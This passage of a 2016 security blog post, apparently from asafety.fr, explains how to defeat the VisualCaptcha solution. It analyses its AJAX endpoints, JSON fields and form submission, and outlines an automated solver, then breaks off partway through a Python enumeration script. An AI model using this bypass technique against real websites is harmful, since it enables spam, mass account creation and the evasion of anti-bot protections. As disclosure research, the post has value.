{"id":2050,"date":"2016-05-26T13:41:00","date_gmt":"2016-05-26T11:41:00","guid":{"rendered":"https:\/\/www.asafety.fr\/?p=2050"},"modified":"2016-05-26T13:49:12","modified_gmt":"2016-05-26T11:49:12","slug":"tool-breaking-100-visualcaptcha-net-solution","status":"publish","type":"post","link":"https:\/\/www.asafety.fr\/en\/projects-and-tools\/tool-breaking-100-visualcaptcha-net-solution\/","title":{"rendered":"[Tool] Breaking 100% VisualCaptcha.net solution"},"content":{"rendered":"<p><\/p>\n<p style=\"text-align: center;\"><strong><a href=\"http:\/\/visualcaptcha.net\/\" target=\"_blank\">VisualCaptcha<\/a> is a very widely used solution through the Internet to protect against automated robots and scripts. This solution, however, can be challenged with a 100% success rate as detailed\u00a0by the present article.<\/strong><\/p>\n<p style=\"text-align: center;\"><span style=\"color: #808080;\"><strong>tl;dr : Breaking 100%\u00a0<a href=\"http:\/\/visualcaptcha.net\/\" target=\"_blank\">VisualCaptcha.net<\/a>\u00a0with <a href=\"https:\/\/github.com\/yanncam\/VisualCaptchaBreaker\" target=\"_blank\">GitHub scripts available here<\/a>\u00a0[<a href=\"https:\/\/www.youtube.com\/watch?v=fkfeDQqXNdk\" target=\"_blank\">Demonstration video<\/a>].<\/strong><\/span><\/p>\n<h1>Introduction<\/h1>\n<h2>Quick\u00a0introduction to\u00a0CAPTCHAs<\/h2>\n<p>Captcha (Completely Automated Public Turing test to tell Computers and Humans Apart) is a very popular mechanism attached to &#8220;<a href=\"https:\/\/fr.wikipedia.org\/wiki\/S%C3%A9curit%C3%A9_par_l%27obscurit%C3%A9\" target=\"_blank\">security through obscurity<\/a>&#8221; to protect against bots and attacks by automated scripts. The idea is to ensure that the processing performed by a user is done by a &#8220;human&#8221; and not by a program (Turing test).<\/p>\n<p>Concretely, in the web world, captchas can protect the submission of forms, including:<\/p>\n<ul>\n<li>contact forms, email submission, to prevent a script \/ robot automates sending thousands of emails.<\/li>\n<li>Registration forms to newsletters, forums and other CMS, always with the objective of avoiding massive account creation via a malicious robot.<\/li>\n<li>password change forms, profile modification or change an email address, then they act as anti-CSRF protection if properly implemented.<\/li>\n<\/ul>\n<p>Captchas integrate additional control which the user (customer) must meet. The answer is subsequently verified server side (session) and valid or invalid form submission.<\/p>\n<p>Many forms of captchas exist, the most commonly used are\u00a0:<\/p>\n<h3>Dynamical\u00a0captchas<\/h3>\n<div id=\"attachment_2052\" style=\"width: 310px\" class=\"wp-caption alignleft\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha-dynamique.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2052\" class=\"wp-image-2052 size-medium\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha-dynamique-300x225.jpg\" alt=\"Captcha dynamic\" width=\"300\" height=\"225\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha-dynamique-300x225.jpg 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha-dynamique-768x576.jpg 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha-dynamique-1024x768.jpg 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha-dynamique.jpg 1032w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2052\" class=\"wp-caption-text\">Captcha dynamic<\/p><\/div>\n<p>In the form of dynamically generated images (GD2), letters, numbers and sometimes symbols are visible on these captchas. &#8220;Noise&#8221; is added to the image, randomly, to prevent the automation of deciphering them via image analysis libraries like <a href=\"https:\/\/fr.wikipedia.org\/wiki\/Reconnaissance_optique_de_caract%C3%A8res\" target=\"_blank\">OCR<\/a>.<\/p>\n<p>Image distortion, noise, pixelation, random background, these techniques also apply to sound clips with noise, robotic voices, etc; more suitable for people\u00a0visually deficient.<\/p>\n<p>These captchas are the most common but least appreciated by people&#8230; Image analysis libraries (OCR) are becoming more efficient to break these captchas and to counter these tools, the complexity of captchas including noise altering the image is intensified to remain robust, while making the decoding task to the end user drastically more difficult &#8230;<\/p>\n<h3>Captchas-questions<\/h3>\n<div id=\"attachment_2055\" style=\"width: 310px\" class=\"wp-caption alignright\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha-question.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2055\" class=\"size-medium wp-image-2055\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha-question-300x111.jpg\" alt=\"Captcha questions\" width=\"300\" height=\"111\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha-question-300x111.jpg 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha-question-768x284.jpg 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha-question-1024x379.jpg 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha-question.jpg 1163w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2055\" class=\"wp-caption-text\">Captcha questions<\/p><\/div>\n<p>These captchas, as images, text or sound, ask\u00a0a question, an enigma, a formula or a problem to the user that only a human (theoretically) can answer. Note the captchas mathematical calculations (audio \/ image) or the mini games as puzzle.<\/p>\n<p>&nbsp;<\/p>\n<h3>Visual captchas<\/h3>\n<div id=\"attachment_2057\" style=\"width: 310px\" class=\"wp-caption alignleft\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha-visual.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2057\" class=\"size-medium wp-image-2057\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha-visual-300x137.jpg\" alt=\"Captcha visual\" width=\"300\" height=\"137\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha-visual-300x137.jpg 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha-visual-768x351.jpg 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha-visual-1024x468.jpg 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha-visual.jpg 1075w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2057\" class=\"wp-caption-text\">Captcha visual<\/p><\/div>\n<p>This form of captcha more recent reconciles many users with this security mechanism for its simplicity. The idea is to observe a series of images, and choose the image adapted to the specified word. Eg &#8220;click on the glasses&#8221;, or &#8220;what images show horses.&#8221; These captchas are most popular for their ease of access to the new touch devices like smartphone or tablet, where you just &#8220;touch&#8221; an image and not to rewrite a sequence of characters.<\/p>\n<p><strong>The solution &#8220;VisualCaptcha&#8221; detailed in the article is included in this category.<\/strong><\/p>\n<h3>Behavioral captchas<\/h3>\n<div id=\"attachment_2058\" style=\"width: 310px\" class=\"wp-caption alignright\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/hero-recaptcha-demo.gif\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2058\" class=\"wp-image-2058 size-medium\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/hero-recaptcha-demo-300x80.gif\" alt=\"Captcha comportemental\" width=\"300\" height=\"80\" \/><\/a><p id=\"caption-attachment-2058\" class=\"wp-caption-text\">Captcha comportemental<\/p><\/div>\n<p>This category is young. Very few solutions exist (in particular open-source). But it nevertheless remains particularly robust if properly implemented. The new version of &#8220;<a href=\"https:\/\/www.google.com\/recaptcha\/\" target=\"_blank\">reCAPTCHA<\/a>&#8220;, designed by Google, fully illustrates this principle.<\/p>\n<p>The captcha is enabled by a simple &#8220;click&#8221; in a box (checkbox). After that click, analysis of user behavior ensues before validating or not the captcha. Mouse movement, entropy, features of the browser, screen resolution, referer, user-agent, all these parameters allow finely identify a user as\u00a0a &#8220;human&#8221; versus a &#8220;robot&#8221;.<\/p>\n<p>Captchas therefore provide the &#8220;security through obscurity&#8221; (much discussed security practice), but they also allow:<\/p>\n<ul>\n<li>strengthen protections against CSRF attacks;<\/li>\n<li>to avoid the task of automation by robots or script;<\/li>\n<li>to act as a second factor authentication, wherein the factor involved here is the &#8220;human&#8221; factor\u00a0or &#8220;robot&#8221;.<\/li>\n<\/ul>\n<h2>VisualCaptcha.net<\/h2>\n<p>VisualCaptcha is an open-source reference solution for the development of simple visual captchas through a multitude of technologies. Provided by <a href=\"http:\/\/visualcaptcha.net\/\" target=\"_blank\">visualcaptcha.net<\/a> supported by <a href=\"http:\/\/emotionloop.com\/\" target=\"_blank\">emotionLoop<\/a> and <a href=\"https:\/\/clevertech.biz\/\" target=\"_blank\">Clevertech<\/a>, this solution is available (and supported) in <a href=\"https:\/\/github.com\/emotionLoop\/visualCaptcha-PHP\" target=\"_blank\">PHP<\/a>, Angulars.JS, JQuery, NodeJS, VanillaJS, Ruby, Django, Python, backend and frontend side, but also scope (non- officially) on ASP.NET, Java, Laravel, CakePHP, SailsJS, Grails, Meteor, etc. Some famous\u00a0CMS integrate it as plugins, like <a href=\"https:\/\/github.com\/emotionLoop\/visualCaptcha-WordPress\" target=\"_blank\">WordPress<\/a>. (See <a href=\"https:\/\/github.com\/emotionLoop\/visualCaptcha\" target=\"_blank\">VisualCaptcha GitHub<\/a>)<\/p>\n<p>In other words, this captcha solution easily interfaces with all types of projects and attracted more than one developer and users for its ease of use via the touch devices.<\/p>\n<div id=\"attachment_2080\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/VisualCaptcha_features.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2080\" class=\"size-medium wp-image-2080\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/VisualCaptcha_features-300x264.png\" alt=\"VisualCaptcha features\" width=\"300\" height=\"264\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/VisualCaptcha_features-300x264.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/VisualCaptcha_features-768x675.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/VisualCaptcha_features.png 1020w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2080\" class=\"wp-caption-text\">VisualCaptcha features<\/p><\/div>\n<p>VisualCaptcha was <a href=\"https:\/\/github.com\/emotionLoop\/visualCaptcha-PHP\/tree\/v4.2.0\" target=\"_blank\">partially broken in the past<\/a> (August 14, 2013, version &lt;4.2.0), but the success rate was not 100%. Rebelote in <a href=\"https:\/\/github.com\/emotionLoop\/visualCaptcha\/issues\/8\" target=\"_blank\">2014<\/a> and <a href=\"https:\/\/github.com\/emotionLoop\/visualCaptcha\/issues\/20\" target=\"_blank\">2015<\/a>. But none of these techniques provided a generic script, adaptable and configurable, compatible with any proxy like\u00a0Burp. In addition, these solutions were based on the analysis via\u00a0OCR or using image analysis libraries, and thus turn out to be slower than what I propose.<\/p>\n<p>To list &#8220;<a href=\"https:\/\/www.google.fr\/search?q=%22Type+below+the+answer+to+what+you+hear%22&amp;oq=%22Type+below+the+answer+to+what+you+hear%22&amp;aqs=chrome..69i57.70j0j7&amp;sourceid=chrome&amp;ie=UTF-8\" target=\"_blank\">some websites<\/a>&#8221; that use VisualCaptcha, do the following search in Google (with the quotes):<\/p>\n<pre>\"Type below-the answer to what you hear\"<\/pre>\n<p><strong>Note<\/strong>: in this article, only the &#8220;breaking&#8221; of images mechanism is presented. Maybe the method via the audio will follow \ud83d\ude09 !<\/p>\n<h1>VisualCaptcha analysis<\/h1>\n<h2>Demonstration<\/h2>\n<p>Most implementations of VisualCaptcha, whatever the technology (PHP, Java, etc.), show the same operating principle. To illustrate this article, the official demo page for the latest version of VisualCaptcha will be the &#8220;target&#8221; (<a href=\"http:\/\/demo.visualcaptcha.net\/\" target=\"_blank\">demo.visualcaptcha.net<\/a>).<\/p>\n<div id=\"attachment_2062\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/visualcaptcha_demopage.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2062\" class=\"size-medium wp-image-2062\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/visualcaptcha_demopage-300x264.png\" alt=\"VisualCaptcha demo page\" width=\"300\" height=\"264\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/visualcaptcha_demopage-300x264.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/visualcaptcha_demopage-768x675.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/visualcaptcha_demopage.png 1020w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2062\" class=\"wp-caption-text\">VisualCaptcha demo page<\/p><\/div>\n<p>Once a page of a website is reached and is equipped with &#8220;VisualCaptcha&#8221; solution, a JavaScript code in the page load the captcha. This loading in the DOM generates an asynchronous request (AJAX) to a URL (endpoint) which is by default &#8220;\/start&#8221;:<\/p>\n<div id=\"attachment_2063\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/visualcaptcha_ajaxcall_start.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2063\" class=\"size-medium wp-image-2063\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/visualcaptcha_ajaxcall_start-300x58.png\" alt=\"VisualCaptcha AJAX call \/start\" width=\"300\" height=\"58\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/visualcaptcha_ajaxcall_start-300x58.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/visualcaptcha_ajaxcall_start-768x147.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/visualcaptcha_ajaxcall_start-1024x197.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/visualcaptcha_ajaxcall_start.png 1068w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2063\" class=\"wp-caption-text\">VisualCaptcha AJAX call \/start<\/p><\/div>\n<h2>Endpoint \/start<\/h2>\n<p>This call to &#8220;\/start&#8221; has parameters:<\/p>\n<ul>\n<li><strong>\/start<\/strong>: the initialization entry point of the captcha (endpoint)<\/li>\n<li><strong>5<\/strong>: the number of random images to be displayed to the user. If this value is set to 1 (for display only one choice), VisualCaptcha displayed by default a\u00a0minimum security of 4 pictures (2 in previous versions). If this value is set to &#8220;10000&#8221; for example, all possible images from the image library will be displayed: 37 default in the base image bank of VisualCaptcha.<\/li>\n<li><strong>?r=XXXXXXXXXXXX<\/strong>: GET &#8220;r&#8221; parameter acts as a &#8220;unique session key&#8221; for the current captcha (12 characters lower-alpha-numeric). This is a random string\u00a0(nonce) stored in server-side session, which will allow\u00a0the browser to load the right images (PNG) by reusing the same value.<\/li>\n<\/ul>\n<p>This call AJAX &#8220;<a href=\"http:\/\/demo.visualcaptcha.net\/start\/5?r=XXXXXXXXXXXX\" target=\"_blank\">\/start\/5?r=XXXXXXXXXXXX<\/a>&#8221; returns JSON which is interpreted by the DOM to generate the current visual captcha. Example of JSON returned:<\/p>\n<pre>{\"values\":[\"24239a51db01af9d6707\",\"9617b92787a57a7918bf\",\"4f324b253b4674485513\",\"98c45edf9acada1ef257\",\"bce9f9d372f216def7f8\"],\"imageName\":\"Envelope\",\"imageFieldName\":\"795ee2a12bae97841d9a\",\"audioFieldName\":\"6b49c3a5506179310192\"}<\/pre>\n<p>JSON details:<\/p>\n<ul>\n<li><strong>values<\/strong>: list of 5 random values (because of the &#8220;\/start\/<strong>5<\/strong>&#8220;) corresponding in order to a unique code to each 5 images that will appear as choice\u00a0in the user&#8217;s browser.<\/li>\n<li><strong>imageName<\/strong>: the text label of the image to choose from, such as &#8220;tree&#8221;, &#8220;leaf&#8221;, &#8220;car&#8221; or &#8220;glasses&#8221;.<\/li>\n<li><strong>imageFieldName<\/strong>: name attribute of the hidden input type that will store the value of the image selected by the user. This field name is random between each display.<\/li>\n<li><strong>audioFieldName<\/strong>: name attribute of the hidden input type that will store the value derived from the audio extracted by the user (if the &#8220;audio&#8221; mode is chosen rather than &#8220;image&#8221;. Field name is random between each display.<\/li>\n<\/ul>\n<p>Let&#8217;s play a little with &#8220;\/start&#8221;, ask it\u00a0to show only a single image (thus automatically captcha solution, right?):<\/p>\n<pre>http:\/\/demo.visualcaptcha.net\/start\/1?e=XXXXXXXXXXXX<\/pre>\n<p>JSON\u00a0:<\/p>\n<pre>{\"values\":[\"4fdb619a10e4cc307a9d\",\"fb1138601a50a456c249\",\"57147d3f3d180e022679\",\"098028448f30e8cf649f\"],\"imageName\":\"Chair\",\"imageFieldName\":\"13b35f036cd8b4fee7e6\",\"audioFieldName\":\"7cb7dff15986787bc996\"}<\/pre>\n<p>Ah. Although requested a single image using the &#8220;1&#8221; still was a &#8220;values&#8221; list of 4 values. This protection is inherent to VisualCaptcha. Older versions allowed to display only 2 minimum (therefore one chance in two).<\/p>\n<p>Trying to display\u00a010000 values:<\/p>\n<pre>http:\/\/demo.visualcaptcha.net\/start\/10000?e=XXXXXXXXXXXX<\/pre>\n<p>JSON :<\/p>\n<pre>{\"values\":[\"d52d1fb0c0d67daa5ca3\",\"52972cd3f13da0719165\",\"4013db4b92877ad315ba\",\"c8e3409f7d8d5650839f\",\"7a6c0fdd85ef69d18eec\",\"64ed58f8031cc328ceca\",\"3df0d18701d01a90e55c\",\"8c49a2149e34ce3d6ee5\",\"db8e89648eed5f30ef70\",\"8aa95e4b96629a5eb67d\",\"2cd4f3dfa2268675cabd\",\"5a5bbe52c82b42631ff5\",\"c409237882814913181f\",\"5a254d941f2b5fa33ef1\",\"5b7c6d5ae759252b393d\",\"f82f0cc7fbfc7cddad05\",\"2426c9217e5ae6710234\",\"a09c805b79766f0abd3d\",\"f0bb6c4157e3ca8bba87\",\"42f321d92e485f26532f\",\"e1ef6e1a80ed62802e76\",\"8827cd7526d5de5365ab\",\"943517aaf285873e0f91\",\"e31bb70331185fcd9f8f\",\"13356550e4145056b02b\",\"ebe45f07737e0a9fa43a\",\"9551f50f423a4527122f\",\"b748fb1a5c9c48546993\",\"2cb64d8ec2e7f7f75f16\",\"d95821b4efa05b9e72a6\",\"06f96ba47431866cf23b\",\"4816963df3b2892be7e1\",\"06076aca0faf1620e456\",\"0cfd08a3805e4c3e4303\",\"0014f442f65c3e5444cf\",\"af510edd3b4249556ea8\",\"a1c2e70a7b77217d20d0\"],\"imageName\":\"Envelope\",\"imageFieldName\":\"5ca5dd0b97c485d0e675\",\"audioFieldName\":\"ccbc0c1e534ed088927f\"}<\/pre>\n<p>We do not have 10000 values but only 37 (default maximum number of images in the image bank of VisualCaptcha).<\/p>\n<p style=\"text-align: center;\"><strong>This is the weakness of visual captchas: a library of images (and sounds) of fixed size.<\/strong><\/p>\n<p>With\u00a0the same parameter &#8220;?r=XXXXXXXXXXXX&#8221; between the same two calls to &#8220;\/start&#8221;, the results returned for &#8220;values&#8221; or even other fields are constantly random and unique.<\/p>\n<h2>HTML\/DOM source code&#8230;<\/h2>\n<p>On the HTML source code side, the source returned by the call to the page protected by CAPTCHA is itself uses JavaScript scripts to initialize the captcha in the DOM. By consulting the DOM can be observed that the value JSON &#8220;imageName&#8221; (the picture label to click) is reflected and displayed:<\/p>\n<div id=\"attachment_2065\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha001.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2065\" class=\"size-medium wp-image-2065\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha001-300x191.png\" alt=\"VisualCaptcha source code 01\" width=\"300\" height=\"191\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha001-300x191.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha001-768x488.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha001-1024x651.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha001.png 1698w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2065\" class=\"wp-caption-text\">VisualCaptcha source code 01<\/p><\/div>\n<p>In addition, the value of the random string\u00a0&#8220;?r=XXXXXXXXXXXX&#8221; used during initialization of the captcha by AJAX &#8220;\/start&#8221; is used again to retrieve each image to display &#8220;\/image\/0?r= XXXXXXXXXXXX&#8221; until to &#8220;\/image\/4?r=XXXXXXXXXXXX&#8221; (or &#8220;5&#8221; images because &#8220;\/start\/5&#8221;).<\/p>\n<p>The random name of the hidden text field that contains the value of the clicked image is also present:<\/p>\n<div id=\"attachment_2066\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha002.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2066\" class=\"size-medium wp-image-2066\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha002-300x191.png\" alt=\"VisualCaptcha source code 02\" width=\"300\" height=\"191\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha002-300x191.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha002-768x488.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha002-1024x651.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha002.png 1698w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2066\" class=\"wp-caption-text\">VisualCaptcha source code 02<\/p><\/div>\n<p>When you click on the first image displayed (\/image\/0), is the first JSON value of &#8220;values&#8221; that is injected into the hidden field result.<\/p>\n<div id=\"attachment_2067\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha003.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2067\" class=\"size-medium wp-image-2067\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha003-300x191.png\" alt=\"VisualCaptcha source code 03\" width=\"300\" height=\"191\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha003-300x191.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha003-768x488.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha003-1024x651.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha003.png 1698w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2067\" class=\"wp-caption-text\">VisualCaptcha source code 03<\/p><\/div>\n<p>When you click on the last image (\/image\/4), this is the last JSON value of &#8220;values&#8221; that is injected into the hidden field result. The values &#8220;values&#8221; of JSON are ordered in the same way as the index of\u00a0display each image.<\/p>\n<div id=\"attachment_2068\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha004.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2068\" class=\"size-medium wp-image-2068\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha004-300x193.png\" alt=\"VisualCaptcha source code 04\" width=\"300\" height=\"193\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha004-300x193.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha004-768x494.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha004-1024x658.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/captcha004.png 1697w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2068\" class=\"wp-caption-text\">VisualCaptcha source code 04<\/p><\/div>\n<h2>Form submission and POST data<\/h2>\n<p>If one submits the form, it has our hidden field whose name is the value of &#8220;imageFieldName&#8221; with value POST that of the corresponding image in &#8220;values&#8221;:<\/p>\n<pre>POST \/try HTTP\/1.1\r\nHost: demo.visualcaptcha.net\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko\/20100101 Firefox\/46.0\r\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8\r\nAccept-Language: fr,en;q=0.8,fr_fr;q=0.5,en_us;q=0.3\r\nAccept-Encoding: gzip, deflate\r\nReferer: http:\/\/demo.visualcaptcha.net\/\r\nCookie: PHPSESSID=mit7fi867tj8lf0iiq24o4htk3\r\nConnection: close\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 52\r\n\r\n795ee2a12bae97841d9a=24239a51db01af9d6707&amp;submit-bt=<\/pre>\n<p>Obviously, this POST data capture is specific to VisualCaptcha demonstration portal. On other sites with VisualCaptcha, transmission validation captcha may be different (GET, POST multipart \/ form-data, etc.).<\/p>\n<p>In the case of the demo page of VisualCaptcha, if the captcha submitted POST to the endpoint &#8220;\/try&#8221; is valid or invalid, then a 302 redirect is made to:<\/p>\n<ul>\n<li>Location: \/?status=<span style=\"color: #ff0000;\"><strong>failedImage<\/strong> <\/span>(invalid captcha checked on\u00a0server side by the &#8220;\/try&#8221;)?<br \/>\nLocation: \/?status=<span style=\"color: #339966;\"><strong>validImage\u00a0<\/strong><\/span>(valid\u00a0captcha checked on\u00a0server side by the &#8220;\/try&#8221;)?<\/li>\n<\/ul>\n<div id=\"attachment_2073\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/demo_visualcaptcha.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2073\" class=\"size-medium wp-image-2073\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/demo_visualcaptcha-300x130.png\" alt=\"VisualCaptcha demo results\" width=\"300\" height=\"130\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/demo_visualcaptcha-300x130.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/demo_visualcaptcha-768x333.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/demo_visualcaptcha-1024x444.png 1024w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2073\" class=\"wp-caption-text\">VisualCaptcha demo results<\/p><\/div>\n<h2>Mini Analysis Summary<\/h2>\n<p>In summary\u00a0:<\/p>\n<ul>\n<li>When a protected page VisualCaptcha is displayed in a browser, an AJAX call is made on &#8220;<strong>\/start\/NUMBER?r=XXXXXXXXXXXX<\/strong>&#8221; with &#8220;<strong>NUMBER<\/strong>&#8221; at least <strong>4<\/strong> to <strong>37<\/strong> by default and <strong>XXXXXXXXXXXX<\/strong> a lower-alpha-numeric random unique string stored in session.<\/li>\n<li>If we define NUMBER to 1 was at least <strong>4 values<\/strong> returned (2 on older versions of VisualCaptcha).<\/li>\n<li>If we define NUMBER to 10000 or more, it has the maximum number of values (ie the maximum number of unique images) returned, ie <strong>37 by default<\/strong>.<\/li>\n<li>The random string\u00a0&#8220;?r=XXXXXXXXXXXX&#8221; used during the initial call &#8220;\/start&#8221; is reused for each image loading PNG &#8220;\/image\/<strong>0<\/strong>?r=XXXXXXXXXXXX&#8221;, &#8220;\/image\/<strong>1<\/strong>?r=XXXXXXXXXXXX &#8220;etc.<\/li>\n<li>The HTML field &#8220;input type hidden&#8221; name &#8220;<strong>imageFieldName<\/strong>&#8221; take as value than the corresponding clicked image provided in the &#8220;values&#8221;.<\/li>\n<li>JSON field &#8220;<strong>imageName<\/strong>&#8221; is the text label indicating on which image is to be clicked.<\/li>\n<li>JSON list &#8220;<strong>values<\/strong>&#8221; is in the same order that images are displayed.<\/li>\n<\/ul>\n<p>Well, now what? With this analysis we have everything needed to automate the resolution via a script of any captcha produced by VisualCaptcha!<\/p>\n<h1>Breaking VisualCaptcha<\/h1>\n<blockquote><p>Captcha me if you can !<\/p><\/blockquote>\n<p>To break any VisualCaptcha, it is necessary to perform several steps ahead. Most of these steps are automated and are quickly, however a manual task awaits &#8230;<\/p>\n<ul>\n<li>Enumerate all the possibilities for text responses (automatic)<\/li>\n<li>Collect all the image database (automatic)<\/li>\n<li>Convert all images form PNG to JPG (automatic)<\/li>\n<li>Create the correlation table checksum \/ label (manual &#8230;)<\/li>\n<li>Go breaking every VisualCaptcha!<\/li>\n<\/ul>\n<h2>Enumerate all the possibilities for text responses<\/h2>\n<p>First step, we need to list all possible &#8220;text&#8221; answers implemented in VisualCaptcha.<\/p>\n<p>If VisualCaptcha solution has been implemented on a site or application without much customization, then the images as text responses are surely those by default, ie the number 37 with labels like :<\/p>\n<blockquote><p>Airplane, Balloons, Camera, Car, Cat, Chair, Clip, Clock, Cloud, Computer, Envelope, Eye, Flag, Folder, Foot, Graph, House, Key, Leaf, Light Bulb, Lock, Magnifying Glass, Man, Music Note, Pants, Pencil, Printer, Robot, Scissors, Sunglasses, T-Shirt, Tag, Tree, Truck, Umbrella, Woman, World<\/p><\/blockquote>\n<p>How can we recover and check all the answers included in\u00a0VisualCaptcha?<\/p>\n<p>Simple, we question a lot of times the endpoint &#8220;\/start&#8221; (1000 requests) to retrieve all the values of &#8220;imageName&#8221;. We put these values into an array, sort the array and delete all same value to finaly display the results.<\/p>\n<p>Python script (<a href=\"https:\/\/github.com\/yanncam\/VisualCaptchaBreaker\/blob\/master\/scripts\/01-enum_VisualCaptcha_texts.py\" target=\"_blank\">available here<\/a>) :<\/p>\n<pre>import requests\r\nimport json\r\ntarget = \"http:\/\/demo.visualcaptcha.net\"\r\nnbRequest = 1000\r\nimagesNames = []\r\nfor i in range(0, nbRequest):\r\n session = requests.Session()\r\n response = 